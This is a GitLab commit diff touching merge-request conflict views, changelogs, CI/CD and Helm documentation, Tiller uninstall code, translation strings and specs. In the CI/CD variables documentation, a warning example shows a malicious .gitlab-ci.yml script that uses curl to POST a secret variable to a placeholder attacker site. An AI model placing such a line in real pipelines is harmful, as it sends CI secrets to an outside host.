%button.btn.gl-button.btn-success.js-submit-button{ type: "button", "@click" => "commit()", ":disabled" => "!readyToCommit" }
|
||||
%span {{commitButtonText}}
|
||||
.col-6.text-right
|
||||
= link_to "Cancel", project_merge_request_path(@merge_request.project, @merge_request), class: "gl-button btn btn-cancel"
|
||||
|
|
|
@ -20,9 +20,10 @@
|
|||
.files-wrapper{ "v-if" => "!isLoading && !hasError" }
|
||||
.files
|
||||
.diff-file.file-holder.conflict{ "v-for" => "file in conflictsData.files" }
|
||||
.js-file-title.file-title
|
||||
%i.fa.fa-fw{ ":class" => "file.iconClass" }
|
||||
%strong {{file.filePath}}
|
||||
.js-file-title.file-title.file-title-flex-parent.cursor-default
|
||||
.file-header-content
|
||||
%file-icon{ ':file-name': 'file.filePath', ':size': '18', 'css-classes': 'gl-mr-2' }
|
||||
%strong.file-title-name {{file.filePath}}
|
||||
= render partial: 'projects/merge_requests/conflicts/file_actions'
|
||||
.diff-content.diff-wrap-lines
|
||||
.file-content{ "v-show" => "!isParallel && file.resolveMode === 'interactive' && file.type === 'text'" }
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
title: Add option to uninstall the legacy Tiller server for clusters added before GitLab 13.2
|
||||
merge_request: 47457
|
||||
author:
|
||||
type: changed
|
5
changelogs/unreleased/jsl-snippet-fix.yml
Normal file
5
changelogs/unreleased/jsl-snippet-fix.yml
Normal file
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
title: Fix single file snippets display for Geo secondary sites
|
||||
merge_request: 46812
|
||||
author:
|
||||
type: fixed
|
|
@ -158,6 +158,11 @@ For an overview, see [Create child pipelines using dynamically generated configu
|
|||
|
||||
We also have an [example project using Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/).
|
||||
|
||||
The artifact path is parsed by GitLab, not the runner, so the path must match the
|
||||
syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows
|
||||
runner for testing, the path separator for the trigger job would be `/`. Other CI/CD
|
||||
configuration for jobs, like scripts, that use the Windows runner would use `\`.
|
||||
|
||||
In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail.
|
||||
This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070).
|
||||
|
||||
|
|
|
@ -56,15 +56,15 @@ is installed on.
|
|||
|
||||
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4.
|
||||
|
||||
You can pass any number of arbitrary variables and they will be available in
|
||||
You can pass any number of arbitrary variables. They are available in
|
||||
GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).
|
||||
|
||||
![Scheduled pipeline variables](img/pipeline_schedule_variables.png)
|
||||
|
||||
### Using only and except
|
||||
|
||||
To configure that a job can be executed only when the pipeline has been
|
||||
scheduled (or the opposite), you can use
|
||||
To configure a job to be executed only when the pipeline has been
|
||||
scheduled (or the opposite), use
|
||||
[only and except](../yaml/README.md#onlyexcept-basic) configuration keywords.
|
||||
|
||||
For example:
|
||||
|
@ -102,7 +102,7 @@ For GitLab.com, refer to the [dedicated settings page](../../user/gitlab_com/ind
|
|||
|
||||
## Working with scheduled pipelines
|
||||
|
||||
Once configured, GitLab supports many functions for working with scheduled pipelines.
|
||||
After configuration, GitLab supports many functions for working with scheduled pipelines.
|
||||
|
||||
### Running manually
|
||||
|
||||
|
@ -128,7 +128,7 @@ The next time a pipeline is scheduled, your credentials are used.
|
|||
|
||||
![Schedules list](img/pipeline_schedules_ownership.png)
|
||||
|
||||
If the owner of a pipeline schedule does not have the ability to create
|
||||
If the owner of a pipeline schedule cannot create
|
||||
pipelines on the target branch, the schedule stops creating new
|
||||
pipelines.
|
||||
|
||||
|
|
|
@ -142,7 +142,7 @@ Here is a simplified example of a malicious `.gitlab-ci.yml`:
|
|||
```yaml
|
||||
build:
|
||||
script:
|
||||
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/
|
||||
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
|
||||
```
|
||||
|
||||
### Custom environment variables of type Variable
|
||||
|
@ -442,7 +442,7 @@ You can define instance-level variables via the UI or [API](../../api/instance_l
|
|||
|
||||
To add an instance-level variable:
|
||||
|
||||
1. Navigate to your admin area's **Settings > CI/CD** and expand the **Variables** section.
|
||||
1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
|
||||
1. Click the **Add variable** button, and fill in the details:
|
||||
|
||||
- **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces.
|
||||
|
|
|
@ -122,10 +122,10 @@ This is also not just applied to models. Here's a list of other examples:
|
|||
|
||||
To test an `EE` namespaced module that extends a CE class with EE features,
|
||||
create the spec file as you normally would in the `ee/spec` directory, including the second `ee/` subdirectory.
|
||||
For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/app/models/ee/user_spec.rb`.
|
||||
For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/spec/models/ee/user_spec.rb`.
|
||||
|
||||
In the `RSpec.describe` call, use the CE class name where the EE module would be used.
|
||||
For example, in `ee/app/models/ee/user_spec.rb`, the test would start with:
|
||||
For example, in `ee/spec/models/ee/user_spec.rb`, the test would start with:
|
||||
|
||||
```ruby
|
||||
RSpec.describe User do
|
||||
|
|
|
@ -435,6 +435,55 @@ After the reindexing is completed, the original index will be scheduled to be de
|
|||
|
||||
While the reindexing is running, you will be able to follow its progress under that same section.
|
||||
|
||||
## Background migrations
|
||||
|
||||
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/234046) in GitLab 13.6.
|
||||
|
||||
With reindex migrations running in the background, there's no need for a manual
|
||||
intervention. This usually happens in situations where new features are added to
|
||||
Advanced Search, which means adding or changing the way content is indexed.
|
||||
|
||||
To confirm that the background migrations ran, you can check with:
|
||||
|
||||
```shell
|
||||
curl "$CLUSTER_URL/gitlab-production-migrations/_search?q=*" | jq .
|
||||
```
|
||||
|
||||
This should return something similar to:
|
||||
|
||||
```json
|
||||
{
|
||||
"took": 14,
|
||||
"timed_out": false,
|
||||
"_shards": {
|
||||
"total": 1,
|
||||
"successful": 1,
|
||||
"skipped": 0,
|
||||
"failed": 0
|
||||
},
|
||||
"hits": {
|
||||
"total": {
|
||||
"value": 1,
|
||||
"relation": "eq"
|
||||
},
|
||||
"max_score": 1,
|
||||
"hits": [
|
||||
{
|
||||
"_index": "gitlab-production-migrations",
|
||||
"_type": "_doc",
|
||||
"_id": "20201105181100",
|
||||
"_score": 1,
|
||||
"_source": {
|
||||
"completed": true
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
In order to debug issues with the migrations you can check the [`elasticsearch.log` file](../administration/logs.md#elasticsearchlog).
|
||||
|
||||
## GitLab Advanced Search Rake tasks
|
||||
|
||||
Rake tasks are available to:
|
||||
|
|
|
@ -65,6 +65,7 @@ supported by GitLab before installing any of the applications.
|
|||
> - Introduced in GitLab 11.6 for group-level clusters.
|
||||
> - [Uses a local Tiller](https://gitlab.com/gitlab-org/gitlab/-/issues/209736) in GitLab 13.2 and later.
|
||||
> - [Uses Helm 3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46267) for clusters created with GitLab 13.6 and later.
|
||||
> - [Offers legacy Tiller removal](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47457) in GitLab 13.7 and later.
|
||||
|
||||
[Helm](https://helm.sh/docs/) is a package manager for Kubernetes and is
|
||||
used to install the GitLab-managed apps. GitLab runs each `helm` command
|
||||
|
@ -72,12 +73,12 @@ in a pod within the `gitlab-managed-apps` namespace inside the cluster.
|
|||
|
||||
- For clusters created on GitLab 13.6 and newer, GitLab uses Helm 3 to manage
|
||||
applications.
|
||||
- For clusters created on versions of GitLab prior to 13.6, GitLab uses
|
||||
Helm 2 with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server.
|
||||
Prior to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736),
|
||||
GitLab used an in-cluster Tiller server in the `gitlab-managed-apps`
|
||||
namespace. You can safely remove this server after upgrading to GitLab 13.2
|
||||
or newer.
|
||||
- For clusters created on versions of GitLab prior to 13.6, GitLab uses Helm 2
|
||||
with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. Prior
|
||||
to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736), GitLab
|
||||
used an in-cluster Tiller server in the `gitlab-managed-apps` namespace. You
|
||||
can safely uninstall the server from GitLab's application page if you have
|
||||
previously installed it. This will not affect your other applications.
|
||||
|
||||
GitLab's Helm integration does not support installing applications behind a proxy,
|
||||
but a [workaround](../../topics/autodevops/index.md#install-applications-behind-a-proxy)
|
||||
|
|
|
@ -22,17 +22,6 @@ module Gitlab
|
|||
def repository_update_command
|
||||
'helm repo update'
|
||||
end
|
||||
|
||||
def optional_tls_flags
|
||||
return [] unless files.key?(:'ca.pem')
|
||||
|
||||
[
|
||||
'--tls',
|
||||
'--tls-ca-cert', "#{files_dir}/ca.pem",
|
||||
'--tls-cert', "#{files_dir}/cert.pem",
|
||||
'--tls-key', "#{files_dir}/key.pem"
|
||||
]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,9 +9,8 @@ module Gitlab
|
|||
|
||||
def generate_script
|
||||
super + [
|
||||
reset_helm_command,
|
||||
delete_tiller_replicaset,
|
||||
delete_tiller_clusterrolebinding
|
||||
init_command,
|
||||
reset_helm_command
|
||||
].join("\n")
|
||||
end
|
||||
|
||||
|
@ -21,27 +20,8 @@ module Gitlab
|
|||
|
||||
private
|
||||
|
||||
# This method can be delete once we upgrade Helm to > 12.13.0
|
||||
# https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/27096#note_159695900
|
||||
#
|
||||
# Tracking this method to be removed here:
|
||||
# https://gitlab.com/gitlab-org/gitlab-foss/issues/52791#note_199374155
|
||||
def delete_tiller_replicaset
|
||||
delete_args = %w[replicaset -n gitlab-managed-apps -l name=tiller]
|
||||
|
||||
Gitlab::Kubernetes::KubectlCmd.delete(*delete_args)
|
||||
end
|
||||
|
||||
def delete_tiller_clusterrolebinding
|
||||
delete_args = %w[clusterrolebinding tiller-admin]
|
||||
|
||||
Gitlab::Kubernetes::KubectlCmd.delete(*delete_args)
|
||||
end
|
||||
|
||||
def reset_helm_command
|
||||
command = %w[helm reset] + optional_tls_flags
|
||||
|
||||
command.shelljoin
|
||||
'helm reset --force'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5842,6 +5842,9 @@ msgstr ""
|
|||
msgid "ClusterIntegration|CA Certificate"
|
||||
msgstr ""
|
||||
|
||||
msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
|
||||
msgstr ""
|
||||
|
||||
msgid "ClusterIntegration|Cert-Manager"
|
||||
msgstr ""
|
||||
|
||||
|
@ -6100,9 +6103,6 @@ msgstr ""
|
|||
msgid "ClusterIntegration|HTTP Error"
|
||||
msgstr ""
|
||||
|
||||
msgid "ClusterIntegration|Helm Tiller"
|
||||
msgstr ""
|
||||
|
||||
msgid "ClusterIntegration|Helm release failed to install"
|
||||
msgstr ""
|
||||
|
||||
|
@ -6205,6 +6205,9 @@ msgstr ""
|
|||
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
|
||||
msgstr ""
|
||||
|
||||
msgid "ClusterIntegration|Legacy Helm Tiller server"
|
||||
msgstr ""
|
||||
|
||||
msgid "ClusterIntegration|Loading IAM Roles"
|
||||
msgstr ""
|
||||
|
||||
|
@ -6538,7 +6541,7 @@ msgstr ""
|
|||
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
|
||||
msgstr ""
|
||||
|
||||
msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
|
||||
msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
|
||||
msgstr ""
|
||||
|
||||
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
|
||||
|
@ -9915,6 +9918,9 @@ msgstr ""
|
|||
msgid "Edit in single-file editor"
|
||||
msgstr ""
|
||||
|
||||
msgid "Edit inline"
|
||||
msgstr ""
|
||||
|
||||
msgid "Edit issues"
|
||||
msgstr ""
|
||||
|
||||
|
@ -14717,6 +14723,9 @@ msgstr ""
|
|||
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
|
||||
msgstr ""
|
||||
|
||||
msgid "Interactive mode"
|
||||
msgstr ""
|
||||
|
||||
msgid "Interested parties can even contribute by pushing commits if they want to."
|
||||
msgstr ""
|
||||
|
||||
|
@ -24961,6 +24970,9 @@ msgid_plural "Showing %d events"
|
|||
msgstr[0] ""
|
||||
msgstr[1] ""
|
||||
|
||||
msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
|
||||
msgstr ""
|
||||
|
||||
msgid "Showing %{count} of %{total} projects"
|
||||
msgstr ""
|
||||
|
||||
|
@ -29889,6 +29901,9 @@ msgstr ""
|
|||
msgid "View file @ %{commitSha}"
|
||||
msgstr ""
|
||||
|
||||
msgid "View file @%{commit_sha}"
|
||||
msgstr ""
|
||||
|
||||
msgid "View full dashboard"
|
||||
msgstr ""
|
||||
|
||||
|
|
|
@ -28,9 +28,9 @@ tests = [
|
|||
},
|
||||
|
||||
{
|
||||
explanation: 'Some EE extensions also map to its EE class spec, but this is not recommended: https://docs.gitlab.com/ee/development/ee_features.html#testing-ee-features-based-on-ce-features',
|
||||
source: 'ee/app/models/ee/user.rb',
|
||||
expected: ['ee/spec/models/user_spec.rb', 'spec/models/user_spec.rb']
|
||||
explanation: 'Some EE extensions have specs placement that do not follow the recommendation: https://docs.gitlab.com/ee/development/ee_features.html#testing-ee-features-based-on-ce-features. `tff` should still find these misplaced specs.',
|
||||
source: 'ee/app/models/ee/project.rb',
|
||||
expected: ['ee/spec/models/project_spec.rb', 'spec/models/project_spec.rb']
|
||||
},
|
||||
|
||||
{
|
||||
|
@ -53,8 +53,8 @@ tests = [
|
|||
|
||||
{
|
||||
explanation: 'EE spec code should map to itself',
|
||||
source: 'ee/spec/models/user_spec.rb',
|
||||
expected: ['ee/spec/models/user_spec.rb']
|
||||
source: 'ee/spec/models/ee/user_spec.rb',
|
||||
expected: ['ee/spec/models/ee/user_spec.rb', 'spec/models/user_spec.rb']
|
||||
},
|
||||
|
||||
{
|
||||
|
|
|
@ -22,7 +22,7 @@ RSpec.describe Admin::Clusters::ApplicationsController do
|
|||
post :create, params: params
|
||||
end
|
||||
|
||||
let(:application) { 'helm' }
|
||||
let(:application) { 'ingress' }
|
||||
let(:params) { { application: application, id: cluster.id } }
|
||||
|
||||
describe 'functionality' do
|
||||
|
@ -37,7 +37,7 @@ RSpec.describe Admin::Clusters::ApplicationsController do
|
|||
|
||||
expect { subject }.to change { current_application.count }
|
||||
expect(response).to have_gitlab_http_status(:no_content)
|
||||
expect(cluster.application_helm).to be_scheduled
|
||||
expect(cluster.application_ingress).to be_scheduled
|
||||
end
|
||||
|
||||
context 'when cluster do not exists' do
|
||||
|
@ -61,7 +61,7 @@ RSpec.describe Admin::Clusters::ApplicationsController do
|
|||
|
||||
context 'when application is already installing' do
|
||||
before do
|
||||
create(:clusters_applications_helm, :installing, cluster: cluster)
|
||||
create(:clusters_applications_ingress, :installing, cluster: cluster)
|
||||
end
|
||||
|
||||
it 'returns 400' do
|
||||
|
|
|
@ -28,7 +28,7 @@ RSpec.describe Groups::Clusters::ApplicationsController do
|
|||
post :create, params: params.merge(group_id: group)
|
||||
end
|
||||
|
||||
let(:application) { 'helm' }
|
||||
let(:application) { 'ingress' }
|
||||
let(:params) { { application: application, id: cluster.id } }
|
||||
|
||||
describe 'functionality' do
|
||||
|
@ -44,7 +44,7 @@ RSpec.describe Groups::Clusters::ApplicationsController do
|
|||
|
||||
expect { subject }.to change { current_application.count }
|
||||
expect(response).to have_gitlab_http_status(:no_content)
|
||||
expect(cluster.application_helm).to be_scheduled
|
||||
expect(cluster.application_ingress).to be_scheduled
|
||||
end
|
||||
|
||||
context 'when cluster do not exists' do
|
||||
|
@ -68,7 +68,7 @@ RSpec.describe Groups::Clusters::ApplicationsController do
|
|||
|
||||
context 'when application is already installing' do
|
||||
before do
|
||||
create(:clusters_applications_helm, :installing, cluster: cluster)
|
||||
create(:clusters_applications_ingress, :installing, cluster: cluster)
|
||||
end
|
||||
|
||||
it 'returns 400' do
|
||||
|
|
|
@ -32,7 +32,7 @@ RSpec.describe Projects::Clusters::ApplicationsController do
|
|||
|
||||
let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
|
||||
let(:project) { cluster.project }
|
||||
let(:application) { 'helm' }
|
||||
let(:application) { 'ingress' }
|
||||
let(:params) { { application: application, id: cluster.id } }
|
||||
|
||||
describe 'functionality' do
|
||||
|
@ -48,7 +48,7 @@ RSpec.describe Projects::Clusters::ApplicationsController do
|
|||
|
||||
expect { subject }.to change { current_application.count }
|
||||
expect(response).to have_gitlab_http_status(:no_content)
|
||||
expect(cluster.application_helm).to be_scheduled
|
||||
expect(cluster.application_ingress).to be_scheduled
|
||||
end
|
||||
|
||||
context 'when cluster do not exists' do
|
||||
|
@ -72,7 +72,7 @@ RSpec.describe Projects::Clusters::ApplicationsController do
|
|||
|
||||
context 'when application is already installing' do
|
||||
before do
|
||||
create(:clusters_applications_helm, :installing, cluster: cluster)
|
||||
create(:clusters_applications_ingress, :installing, cluster: cluster)
|
||||
end
|
||||
|
||||
it 'returns 400' do
|
||||
|
|
7
spec/factories/project_settings.rb
Normal file
7
spec/factories/project_settings.rb
Normal file
|
@ -0,0 +1,7 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
FactoryBot.define do
|
||||
factory :project_setting do
|
||||
project
|
||||
end
|
||||
end
|
|
@ -9,7 +9,7 @@ import BoardList from '~/boards/components/board_list_new.vue';
|
|||
import BoardCard from '~/boards/components/board_card.vue';
|
||||
import '~/boards/models/issue';
|
||||
import '~/boards/models/list';
|
||||
import { listObj, mockIssuesByListId, issues } from './mock_data';
|
||||
import { listObj, mockIssuesByListId, issues, mockIssues } from './mock_data';
|
||||
import defaultState from '~/boards/stores/state';
|
||||
|
||||
const localVue = createLocalVue();
|
||||
|
@ -71,6 +71,7 @@ const createComponent = ({
|
|||
disabled: false,
|
||||
list,
|
||||
issues: [issue],
|
||||
canAdminList: true,
|
||||
...componentProps,
|
||||
},
|
||||
store,
|
||||
|
@ -87,17 +88,19 @@ const createComponent = ({
|
|||
|
||||
describe('Board list component', () => {
|
||||
let wrapper;
|
||||
const findByTestId = testId => wrapper.find(`[data-testid="${testId}"]`);
|
||||
useFakeRequestAnimationFrame();
|
||||
|
||||
afterEach(() => {
|
||||
wrapper.destroy();
|
||||
wrapper = null;
|
||||
});
|
||||
|
||||
describe('When Expanded', () => {
|
||||
beforeEach(() => {
|
||||
wrapper = createComponent();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
wrapper.destroy();
|
||||
});
|
||||
|
||||
it('renders component', () => {
|
||||
expect(wrapper.find('.board-list-component').exists()).toBe(true);
|
||||
});
|
||||
|
@ -107,7 +110,7 @@ describe('Board list component', () => {
|
|||
state: { listsFlags: { 'gid://gitlab/List/1': { isLoading: true } } },
|
||||
});
|
||||
|
||||
expect(wrapper.find('[data-testid="board_list_loading"').exists()).toBe(true);
|
||||
expect(findByTestId('board_list_loading').exists()).toBe(true);
|
||||
});
|
||||
|
||||
it('renders issues', () => {
|
||||
|
@ -171,19 +174,15 @@ describe('Board list component', () => {
|
|||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
wrapper.destroy();
|
||||
});
|
||||
|
||||
it('loads more issues after scrolling', () => {
|
||||
wrapper.vm.$refs.list.dispatchEvent(new Event('scroll'));
|
||||
wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
|
||||
|
||||
expect(actions.fetchIssuesForList).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('does not load issues if already loading', () => {
|
||||
wrapper.vm.$refs.list.dispatchEvent(new Event('scroll'));
|
||||
wrapper.vm.$refs.list.dispatchEvent(new Event('scroll'));
|
||||
wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
|
||||
wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
|
||||
|
||||
expect(actions.fetchIssuesForList).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
@ -204,10 +203,6 @@ describe('Board list component', () => {
|
|||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
wrapper.destroy();
|
||||
});
|
||||
|
||||
describe('when issue count exceeds max issue count', () => {
|
||||
it('sets background to bg-danger-100', async () => {
|
||||
wrapper.setProps({ list: { issuesSize: 4, maxIssueCount: 3 } });
|
||||
|
@ -233,4 +228,43 @@ describe('Board list component', () => {
|
|||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('drag & drop issue', () => {
|
||||
beforeEach(() => {
|
||||
wrapper = createComponent();
|
||||
});
|
||||
|
||||
describe('handleDragOnStart', () => {
|
||||
it('adds a class `is-dragging` to document body', () => {
|
||||
expect(document.body.classList.contains('is-dragging')).toBe(false);
|
||||
|
||||
findByTestId('tree-root-wrapper').vm.$emit('start');
|
||||
|
||||
expect(document.body.classList.contains('is-dragging')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('handleDragOnEnd', () => {
|
||||
it('removes class `is-dragging` from document body', () => {
|
||||
jest.spyOn(wrapper.vm, 'moveIssue').mockImplementation(() => {});
|
||||
document.body.classList.add('is-dragging');
|
||||
|
||||
findByTestId('tree-root-wrapper').vm.$emit('end', {
|
||||
oldIndex: 1,
|
||||
newIndex: 0,
|
||||
item: {
|
||||
dataset: {
|
||||
issueId: mockIssues[0].id,
|
||||
issueIid: mockIssues[0].iid,
|
||||
issuePath: mockIssues[0].referencePath,
|
||||
},
|
||||
},
|
||||
to: { children: [], dataset: { listId: 'gid://gitlab/List/1' } },
|
||||
from: { dataset: { listId: 'gid://gitlab/List/2' } },
|
||||
});
|
||||
|
||||
expect(document.body.classList.contains('is-dragging')).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
@ -50,6 +50,7 @@ describe('Clusters Store', () => {
|
|||
|
||||
expect(store.state).toEqual({
|
||||
helpPath: null,
|
||||
helmHelpPath: null,
|
||||
ingressHelpPath: null,
|
||||
environmentsHelpPath: null,
|
||||
clustersHelpPath: null,
|
||||
|
@ -62,7 +63,7 @@ describe('Clusters Store', () => {
|
|||
rbac: false,
|
||||
applications: {
|
||||
helm: {
|
||||
title: 'Helm Tiller',
|
||||
title: 'Legacy Helm Tiller server',
|
||||
status: mockResponseData.applications[0].status,
|
||||
statusReason: mockResponseData.applications[0].status_reason,
|
||||
requestReason: null,
|
||||
|
|
|
@ -12,32 +12,14 @@ RSpec.describe Gitlab::Kubernetes::Helm::V2::ResetCommand do
|
|||
it_behaves_like 'helm command generator' do
|
||||
let(:commands) do
|
||||
<<~EOS
|
||||
helm reset
|
||||
kubectl delete replicaset -n gitlab-managed-apps -l name\\=tiller
|
||||
kubectl delete clusterrolebinding tiller-admin
|
||||
export HELM_HOST="localhost:44134"
|
||||
tiller -listen ${HELM_HOST} -alsologtostderr &
|
||||
helm init --client-only
|
||||
helm reset --force
|
||||
EOS
|
||||
end
|
||||
end
|
||||
|
||||
context 'when there is a ca.pem file' do
|
||||
let(:files) { { 'ca.pem': 'some file content' } }
|
||||
|
||||
it_behaves_like 'helm command generator' do
|
||||
let(:commands) do
|
||||
<<~EOS1.squish + "\n" + <<~EOS2
|
||||
helm reset
|
||||
--tls
|
||||
--tls-ca-cert /data/helm/helm/config/ca.pem
|
||||
--tls-cert /data/helm/helm/config/cert.pem
|
||||
--tls-key /data/helm/helm/config/key.pem
|
||||
EOS1
|
||||
kubectl delete replicaset -n gitlab-managed-apps -l name\\=tiller
|
||||
kubectl delete clusterrolebinding tiller-admin
|
||||
EOS2
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#pod_name' do
|
||||
subject { reset_command.pod_name }
|
||||
|
||||
|
|
|
@ -19,35 +19,9 @@ RSpec.describe Clusters::Applications::Helm do
|
|||
end
|
||||
|
||||
describe '#can_uninstall?' do
|
||||
context "with other existing applications" do
|
||||
Clusters::Cluster::APPLICATIONS.keys.each do |application_name|
|
||||
next if application_name == 'helm'
|
||||
subject(:application) { build(:clusters_applications_helm).can_uninstall? }
|
||||
|
||||
it "is false when #{application_name} is installed" do
|
||||
cluster_application = create("clusters_applications_#{application_name}".to_sym)
|
||||
|
||||
helm = cluster_application.cluster.application_helm
|
||||
|
||||
expect(helm.allowed_to_uninstall?).to be_falsy
|
||||
end
|
||||
end
|
||||
|
||||
it 'executes a single query only' do
|
||||
cluster_application = create(:clusters_applications_ingress)
|
||||
helm = cluster_application.cluster.application_helm
|
||||
|
||||
query_count = ActiveRecord::QueryRecorder.new { helm.allowed_to_uninstall? }.count
|
||||
expect(query_count).to eq(1)
|
||||
end
|
||||
end
|
||||
|
||||
context "without other existing applications" do
|
||||
subject { helm.can_uninstall? }
|
||||
|
||||
let(:helm) { create(:clusters_applications_helm) }
|
||||
|
||||
it { is_expected.to be_truthy }
|
||||
end
|
||||
it { is_expected.to eq true }
|
||||
end
|
||||
|
||||
describe '#issue_client_cert' do
|
||||
|
@ -135,14 +109,4 @@ RSpec.describe Clusters::Applications::Helm do
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#post_uninstall' do
|
||||
let(:helm) { create(:clusters_applications_helm, :installed) }
|
||||
|
||||
it do
|
||||
expect(helm.cluster.kubeclient).to receive(:delete_namespace).with('gitlab-managed-apps')
|
||||
|
||||
helm.post_uninstall
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,7 +7,7 @@ RSpec.describe Clusters::Applications::CreateService do
|
|||
|
||||
let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
|
||||
let(:user) { create(:user) }
|
||||
let(:params) { { application: 'helm' } }
|
||||
let(:params) { { application: 'ingress' } }
|
||||
let(:service) { described_class.new(cluster, user, params) }
|
||||
|
||||
describe '#execute' do
|
||||
|
@ -23,16 +23,16 @@ RSpec.describe Clusters::Applications::CreateService do
|
|||
subject
|
||||
|
||||
cluster.reload
|
||||
end.to change(cluster, :application_helm)
|
||||
end.to change(cluster, :application_ingress)
|
||||
end
|
||||
|
||||
context 'application already installed' do
|
||||
let!(:application) { create(:clusters_applications_helm, :installed, cluster: cluster) }
|
||||
let!(:application) { create(:clusters_applications_ingress, :installed, cluster: cluster) }
|
||||
|
||||
it 'does not create a new application' do
|
||||
expect do
|
||||
subject
|
||||
end.not_to change(Clusters::Applications::Helm, :count)
|
||||
end.not_to change(Clusters::Applications::Ingress, :count)
|
||||
end
|
||||
|
||||
it 'schedules an upgrade for the application' do
|
||||
|
@ -43,10 +43,6 @@ RSpec.describe Clusters::Applications::CreateService do
|
|||
end
|
||||
|
||||
context 'known applications' do
|
||||
before do
|
||||
create(:clusters_applications_helm, :installed, cluster: cluster)
|
||||
end
|
||||
|
||||
context 'ingress application' do
|
||||
let(:params) do
|
||||
{
|
||||
|
@ -215,19 +211,17 @@ RSpec.describe Clusters::Applications::CreateService do
|
|||
|
||||
using RSpec::Parameterized::TableSyntax
|
||||
|
||||
where(:application, :association, :allowed, :pre_create_helm, :pre_create_ingress) do
|
||||
'helm' | :application_helm | true | false | false
|
||||
'ingress' | :application_ingress | true | true | false
|
||||
'runner' | :application_runner | true | true | false
|
||||
'prometheus' | :application_prometheus | true | true | false
|
||||
'jupyter' | :application_jupyter | true | true | true
|
||||
where(:application, :association, :allowed, :pre_create_ingress) do
|
||||
'ingress' | :application_ingress | true | false
|
||||
'runner' | :application_runner | true | false
|
||||
'prometheus' | :application_prometheus | true | false
|
||||
'jupyter' | :application_jupyter | true | true
|
||||
end
|
||||
|
||||
with_them do
|
||||
before do
|
||||
klass = "Clusters::Applications::#{application.titleize}"
|
||||
allow_any_instance_of(klass.constantize).to receive(:make_scheduled!).and_call_original
|
||||
create(:clusters_applications_helm, :installed, cluster: cluster) if pre_create_helm
|
||||
create(:clusters_applications_ingress, :installed, cluster: cluster, external_hostname: 'example.com') if pre_create_ingress
|
||||
end
|
||||
|
||||
|
@ -252,7 +246,7 @@ RSpec.describe Clusters::Applications::CreateService do
|
|||
it 'makes the application scheduled' do
|
||||
expect do
|
||||
subject
|
||||
end.to change { Clusters::Applications::Helm.with_status(:scheduled).count }.by(1)
|
||||
end.to change { Clusters::Applications::Ingress.with_status(:scheduled).count }.by(1)
|
||||
end
|
||||
|
||||
it 'schedules an install via worker' do
|
||||
|
@ -266,7 +260,7 @@ RSpec.describe Clusters::Applications::CreateService do
|
|||
end
|
||||
|
||||
context 'when application is associated with a cluster' do
|
||||
let(:application) { create(:clusters_applications_helm, :installable, cluster: cluster) }
|
||||
let(:application) { create(:clusters_applications_ingress, :installable, cluster: cluster) }
|
||||
let(:worker_arguments) { [application.name, application.id] }
|
||||
|
||||
it_behaves_like 'installable applications'
|
||||
|
